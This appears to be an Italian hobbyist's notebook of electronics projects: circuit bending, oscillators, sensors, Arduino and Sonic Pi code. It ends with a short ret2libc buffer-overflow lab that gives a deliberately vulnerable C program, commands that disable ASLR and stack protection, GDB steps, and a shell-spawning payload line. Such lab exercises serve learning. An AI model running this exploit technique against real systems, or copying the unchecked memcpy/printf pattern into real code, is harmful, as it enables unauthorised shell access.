Con Circuit Bending si indica l'arte di modificare in maniera creativa, attraverso semplici cortocircuiti, apparecchi elettronici a bassa tensione o strumenti elettronici alimentati a pile, come giocattoli (il più famoso tra questi è lo Speak & Spell della Texas Instruments, commercializzato in Italia come Grillo Parlante dalla Clementoni), tastiere, batterie elettroniche e effetti per chitarra, allo scopo di generare suoni inediti e curiosi, creare nuovi strumenti musicali e generici generatori di suono.

Generalmente il Circuit Bending viene associato alla musica elettronica sperimentale, al noise e a musicisti alla ricerca di nuovi suoni e di nuove strumentazioni "aleatorie". I suoni generati da tali apparecchiature sono, infatti, per lo più casuali, caotici o comunque non canonicamente collegabili all'idea di suono emesso da uno strumento musicale.

























Articolo Punto Informatico









2 Timer 555
1 Condesatore ceramico 0.1 uF
1 Condesatore ceramico 0.01 uF
1 Condesantore elettrolitico 100 uF
1 Resistenza 1K Ohm


Il chip CD4093 è composto da quattro porte NAND identiche. Ci sono due porte su ciascun lato del chip, ma a differenza del 74C14, sono disposte in modo simmetrico, specularmente : l'uscita di ciascuna porta fronteggia l'uscita della successiva, piuttosto che essere nella stessa direzione.

Ho giocato con le fotoresistenze, una tra l'uscita e l'ingresso verso il condensatore e la massa della prima porta NAND va a modulare il Gate della seconda porta NAND da cui viene perlevata l'uscita audio; poi ho fatto un po di cambiamenti a caso per arrivare a effetti audio particolari modulando le fotoresistenze con delle luci intermittenti;











L'interferenza dei fili sul sensore ad ultrasuoni ha prodotto questa melodia impazzita di suoni, dovuta alla presenza dei fili e al mio corpo che si avvicinava e allontanava dal sensore;

I sensori ad ultrasuoni non forniscono direttamente la misura della distanza dell’oggetto più vicino, ma misurano il tempo impiegato da un segnale sonoro a raggiungere l’oggetto e ritornare al sensore. L’impulso ad ultrasuoni inviato dal HC-SR04 è di circa 40KHz il tempo viene misurato in microsecondi, la tensione di funzionamento è di 5V

Il sensore HC-SR04 dispone di 4 pin: Vcc (+5V), Trigger, Echo, GND. Si invia un impulso alto sul pin Trigger per almeno 10 microsecondi, a questo punto il sensore invierà il ping sonoro e aspetterà il ritorno delle onde riflesse, il sensore risponderà sul pin Echo con un impulso alto della durata corrispondente a quella di viaggio delle onde sonore, dopo 38 millisecondi si considera che non sia stato incontrato alcun ostacolo. Per sicurezza si aspettano in genere 50-60 millisec per far si che non vi siano interferenze con la misura successiva.

Progetto originale : link

Hardware

330Ω Resistor
470Ω Resistor
Solderless Breadboard
Ultrasonic Distance Sensor
3 x Male to Male Jumper Leads
4 x Male to Female Jumper Leads

Software

sudo apt update && sudo apt upgrade -y
sudo pip3 install python-osc

Python :

from gpiozero import DistanceSensor
from time import sleep

from pythonosc import osc_message_builder
from pythonosc import udp_client

sensor = DistanceSensor(echo=17, trigger=4)
sender = udp_client.SimpleUDPClient('127.0.0.1', 4559)

while True:
        pitch = round(sensor.distance * 100 + 30)
        sender.send_message('/play_this', pitch)
        sleep(0.1)


------

Sonic Pi :


live_loop :listen do
       message = sync "/play_this"
       note = message[:args][0]
       play note
end

























Il CD4049 Hex Inverter.
Il resistore di ingresso, RI, generalmente di 10kOhm.
Il resistore di retroazione, RF, generalmente più grande di RI.
Il condensatore di ingresso, CI, generalmente intorno a 0.1uf.
Il condensatore di uscita, CO, generalmente intorno a 10uf.

Il guadagno, ovvero quanto il circuito amplifica il segnale in ingresso, è determinato dal rapporto RF/RI. Quindi, se RF = 100kOhms e RI = 10kOhms, il guadagno è di 10, il che significa che qualsiasi segnale in input al circuito viene amplificato di 10 volte. Se RF = 10mOhms e RI = 10kOhms il guadagno è di 1000, il che rende il segnale MOLTO più forte. Sostituendo i resistori fissi con un potenziometro (tipo da 1 megOhm) possiamo variare il guadagno del circuito. Per un tipico preamplificatore (come quello che si potrebbe usare per un microfono) si potrebbe desiderare di collegare una resistenza da 10k in serie al potenziometro da 1 megOhm: ciò consente di regolare l'amplificazione in modo fluido dal guadagno unitario (segnale in uscita uguale al segnale in ingresso) a un guadagno di 100 (output = 100 volte l'ingresso).

I condensatori all'ingresso e all'uscita (CI e CO) bloccano le tensioni continue presente nel circuito.  Sono necessari per la stabilità del circuito, e di solito non influenzano molto il suono.




















Inserisci un chiodo o una graffetta in un limone. Poi un pezzo di filo di rame. Assicurati che il filo e il chiodo siano vicini, ma che si non tocchino. Il chiodo è diventato l'elettrodo negativo della batteria e il filo di rame l'elettrodo positivo. Il succo di limone, che è acido, agisce come l'elettrolita. È possibile utilizzare altre cose oltre alla graffetta, al chiodo e al filo di rame, purché costituite da metalli diversi. La batteria al limone fornirà circa un quarto a un terzo di un Volt. Per utilizzare una batteria al limone per alimentare un piccolo dispositivo elettrico, come un LED, è necessario collegarne diverse in serie;













Le Regole dell'Hacking
(tratte dal libro Handmade Electronic Music. The Art of Hardware Hacking)

Regola 1: non avere paura!
Regola 2: non smontare niente che sia collegato direttamente alla presa sul muro.
Regola 3: è più facile smontare qualcosa che rimontarla.
Regola 4: prendi nota di ciò che stai facendo mentre vai avanti, non dopo.
Regola 6: molti hack sono come farfalle: belle ma di breve durata.
Regola 7: In generale cerca di evitare i cortocircuiti.
Regola 8: Nell'elettronica alcune cose sono reversibili con risultati interessanti, ma altre sono reversibili solo con risultati irreversibili.
Regola 9: utilizza un cavo schermato per tutte le connessioni audio più lunghe di 20 cm, a meno passino per un amplificatore e un altoparlante.
Regola 10: ogni connessione audio è composta da due parti: il segnale e un riferimento a terra.
Regola 11: non saldare quando hai bevuto.
Regola 12: dopo un arresto anomalo di un circuito compromesso potrebbe essere necessario disconnettere e riconnettere le batterie prima che il circuito funzioni di nuovo.
Regola 13: il valore netto di due resistori collegati in parallelo è leggermente inferiore al valore più piccolo dei due resistori; il valore netto di due resistori collegati in serie è la somma dei due resistori.
Regola 14: stai lontano dalla corrente alternata.
Regola 15: è sempre possibile sostituire una batteria da 1,5 V più grande con una più piccola, basta essere sicuri di utilizzare lo stesso numero di batterie, nella stessa configurazione.
Regola 16: è sempre più sicuro usare batterie separate per circuiti separati.
Regola 17: Se suona bene e non fuma, va bene cosi e non ti preoccupare se non capisci cosa hai fatto.
Regola 18: inizia con cose semplici e verifica che il circuito funzioni ancora dopo ogni tua modifica.
Regola 19: lascia sempre intatto e funzionante il tuo progetto sulla breadboard fino a quando la versione saldata funziona.
Regola 20: tutti i chip possono apparire simili all'esterno senza essere uguali all'interno, leggi la documentazione relativa.
Regola 21: tutti i chip aspettano connessioni positive e negative alla giusta potenza; se queste tensioni sono collegate ad altri pin per altre ragioni, mantenetele collegate a vostro rischio o intrattenimento.
Regola 22: utilizzare sempre un resistore quando si accende un LED, altrimenti il ​​circuito e/o Il LED potrebbero bruciarsi.
Regola 23: la distorsione è la verità.
Regola 24: è più facile praticare fori tondi che slot rettangolari.
Regola 25: Non fidarti mai di quello che è scritto sui trasformatori.



























#include <IRremote.h>

#define POWER         0xE0E040BF
#define UNO           0xE0E0906F
#define TVKEY         0xE0E0D827
#define ZERO          0xE0E08877  
#define CHPIU         0xE0E048B7
#define CHMENO        0xE0E008F7
#define SAMSUNG_BITS  32

IRsend irsend;

void setup()
{
  pinMode (3, OUTPUT);  //output as used in library
}

void loop() {
  

irsend.sendSAMSUNG(REPEAT, 32); // Some receivers seem to respond a lot faster when a repeat is sent before the actual command.
delay(35); //This delay is needed for optimal response.
irsend.sendSAMSUNG(ZERO, 32); // hex value, 32 bits
delayMicroseconds(50);

}

 
http://lirc.sourceforge.net/remotes/samsung/BN59-00940A 








1 CMOS Hex Schmitt Trigger CD40106BE;
3 fotoresistori;
3 Condensatori 1 uF;
3 diodi 1N914;




1 CMOS Hex Schmitt Trigger CD40106BE
1 fotoresistore
1 Condensatore 1 uF

Schmitt Trigger Oscillator
Spiegazione
Talking Electronics






1 OPAMP UA741
2 Resistor 1MΩ
1 Resistor 2k2
1 NPN Transistor 2N2222A
1 47n Capacitor

------------------------------



C1 Ceramic Capacitor capacitance 10nF;
J1 Piezo Speaker;
R1 Rotary Potentiometer resistance 10kΩ;
R2 Resistor resistance 100Ω;
R3 Resistor resistance 470Ω;
R4 Resistor resistance 1kΩ;
U1 555 Timer package DIP8
VCC1 Battery & Connector voltage 9V




Arduino;
TvOut;
Speaker;




Arduino;
Arduino-TVout library; invece della resistenza 470 Ohm ne ho usata una da 330 Ohm


























int LEDGreen=9;
int LEDBlue=10;
int LEDRed=11;


int sensorPin=0;
int val;

void setup(){
  Serial.begin(9600);
  pinMode(LEDRed,OUTPUT);
  pinMode(LEDGreen,OUTPUT);
  pinMode(LEDBlue,OUTPUT);
}

void loop(){

  val=map(analogRead(sensorPin),0,1024,0,900);
  Serial.println(val);
  if (val<150) {
    analogWrite(LEDRed,0);
    analogWrite(LEDBlue,255);
    analogWrite(LEDGreen,255);
  } else if (val<300) {
    analogWrite(LEDRed,map(val,150,300,0,255));
    analogWrite(LEDBlue,map(val,150,300,255,0));
    analogWrite(LEDGreen,255);
  } else if (val<450) {
    analogWrite(LEDRed,255);
    analogWrite(LEDBlue,0);
    analogWrite(LEDGreen,255);
  } else if (val<600) {
    analogWrite(LEDRed,255);
    analogWrite(LEDBlue,map(val,450,600,0,255));
    analogWrite(LEDGreen,map(val,450,600,255,0));
  } else if (val<750) {
    analogWrite(LEDRed,255);
    analogWrite(LEDBlue,255);
    analogWrite(LEDGreen,0);
  } else if (val<900) {
    analogWrite(LEDRed,map(val,750,900,255,0));
    analogWrite(LEDBlue,255);
    analogWrite(LEDGreen,map(val,750,900,0,255));
  }
  delay(10);
}





int speakerPin = 9;



int length = 15; // the number of notes

char notes[] = "ccggaagffeeddc "; // a space represents a rest

int beats[] = { 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 2, 4 };

int tempo = 300;



void playTone(int tone, int duration) {

  for (long i = 0; i &lt; duration * 1000L; i += tone * 2) {

    digitalWrite(speakerPin, HIGH);

    delayMicroseconds(tone);

    digitalWrite(speakerPin, LOW);

    delayMicroseconds(tone);

  }

}



void playNote(char note, int duration) {

  char names[] = { 'c', 'd', 'e', 'f', 'g', 'a', 'b', 'C' };

  int tones[] = { 1915, 1700, 1519, 1432, 1275, 1136, 1014, 956 };



  // play the tone corresponding to the note name

  for (int i = 0; i &lt; 8; i++) {

    if (names[i] == note) {

      playTone(tones[i], duration);

    }

  }

}



void setup() {

  pinMode(speakerPin, OUTPUT);

}



void loop() {

  for (int i = 0; i &lt; length; i++) {

    if (notes[i] == ' ') {

      delay(beats[i] * tempo); // rest

    } else {

      playNote(notes[i], beats[i] * tempo);

    }



    // pause between notes

    delay(tempo / 2);

  }

}












uscendo dalla shell si va in segmentation fault perchè come ret c'è AAAA

gcc -m32 -o getenv ./getenv.c

gcc -m32 -fno-stack-protector -z execstack -o vuln ./vuln.c
sudo echo 0 > /proc/sys/kernel/randomize_va_space

vuln.c


#include <stdio.h>

int main(int argc, char *argv[])

{
char buf[256];
memcpy(buf, argv[1],strlen(argv[1]));
printf(buf);

}

getenv.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
        char *ptr;
        if(argc < 3) {
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }

        ptr = getenv(argv[1]); /* Get env var location. */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
        printf("%s will be at %p\n", argv[1], ptr);
}


export SHELL='/bin/sh'

------------------- GDB --------------------------


gdb ./vuln
b main
r
x/500s $esp
(per trovare l'indirizzo della SHELL)


mv getenv getv (stesso numero di caratteri di vuln)

./vuln $(python -c 'print "A"*268+"\x30\x6c\xe9\xf7"+"AAAA"+"\x3f\xd7\xff\xff"')
./getv SHELL ./vuln


documento pdf